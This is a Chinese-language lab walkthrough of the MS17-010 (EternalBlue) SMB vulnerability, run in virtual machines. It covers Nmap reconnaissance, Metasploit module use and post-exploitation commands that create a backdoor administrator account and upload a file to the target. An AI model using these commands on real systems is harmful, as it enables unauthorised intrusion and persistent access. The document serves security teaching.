内网安全:MS17-010漏洞原理
本次实验属于内网SMB漏洞利用实操内容。
设备:
VMware 虚拟机、Windows Server 2008(靶机)、Kali Linux
IP 规划:
靶机:Windows Server 2008 x64 虚拟机,IP 地址:192.168.XXX.XXX,未安装 MS17-010 安全补丁,关闭系统防火墙。
检测终端:Kali Linux 虚拟机,IP 地址:192.168.xxx.xxx,预装 Nmap、Metasploit 工具集。
SMB 协议基础
SMB即服务器消息块协议,是Windows操作系统专属内网通信协议,主要实现局域网文件共享、打印机共享、进程管道通信、远程管理等功能,依靠两个核心端口提供服务:
1. 139端口:基于NetBIOS协议传输SMB数据,多用于老旧Windows系统主机名解析、局域网共享访问;
2. 445端口:TCP直连SMB服务,现代Windows系统主流端口,无需依赖NetBIOS即可直接完成共享通信。
SMB是内网渗透横向移动最常用载体,攻击方式分为两类:一是合法凭据滥用,持有账号密码后通过IPC$、WMI、SMB远程执行命令横向扩散;二是协议代码漏洞利用,无需账号密码,直接通过漏洞代码执行任意系统指令,MS17-010永恒之蓝就属于此类高危漏洞。
MS17-010漏洞原理
漏洞成因:Windows系统处理SMB协议特殊数据包时存在内存溢出缺陷,攻击者可构造恶意SMB数据包发送至目标445端口,绕过系统权限校验,直接写入恶意执行代码,实现远程代码执行。
影响范围:Windows Vista、Windows 7、Windows Server 2008、Windows Server 2012等未安装对应安全补丁的系统。
危害等级:高危,无凭据远程代码执行,攻击者直接获取系统最高管理员权限。
真实场景:企业内网大量老旧服务器未及时打补丁,黑客通过该漏洞批量控制内网主机,植入勒索病毒、窃取业务数据、搭建后门长期驻留内网。
步骤1:实验环境部署与网络连通校验
1. Kali操作
打开终端执行权限提升命令,切换至root管理员身份,避免工具权限不足问题:
sudo su 输入系统密码后完成权限切换。
2. 靶机Windows Server 2008配置
打开控制面板→系统和安全→Windows防火墙,仅在实验环境下关闭防火墙,现实环境严禁操作
3. 网络连通测试
在Kali终端执行ping命令,测试两台虚拟机网络连通性:
返回数据包无丢失,实验环境正常。
步骤2:Nmap主机与端口信息收集
使用Nmap综合扫描脚本,探测靶机操作系统版本、开放端口、服务版本信息:
nmap -T4 -O -v -sV 192.168.xxx.xxx
扫描完成后查看输出结果,确认139、445端口状态为开放,SMB共享服务正常运行,满足漏洞利用前置条件。
步骤3:MS17-010安全风险检测学习
1. Nmap内置安全检测脚本对实验环境里的靶机进行安全检查:
nmap --script=vuln 192.168.xxx.xxx -v
扫描结果提示目标主机存在MS17-010风险。
2. 启动Metasploit渗透框架:msfconsole
3. 在框架内搜索MS17-010相关模块:search ms17-010
4. 加载漏洞探测模块(序号0)
5. 查看模块需要配置的参数
6. 设置靶机IP地址参数
7. 执行漏洞探测:run
步骤4:后渗透操作
1. 调用靶机交互式CMD命令行: shell
2. 解决中文文件名、提示乱码问题:chcp 65001
3. 创建后门管理员账号,设置密码123456
net user admin123 123456 /add
4. 将新建账号加入本地管理员组,获取最高权限:
net localgroup administrators admin123 /add
5. 输入exit退出CMD终端,回到Meterpreter环境,上传本地测试脚本至靶机C盘根目录:
upload /home/kali/test.bat C:\\
本文所有内容仅作为课程理论学习,全部操作仅在本人搭建的虚拟机环境完成,严格遵守《网络安全法》,不对非授权设备进行扫描和测试。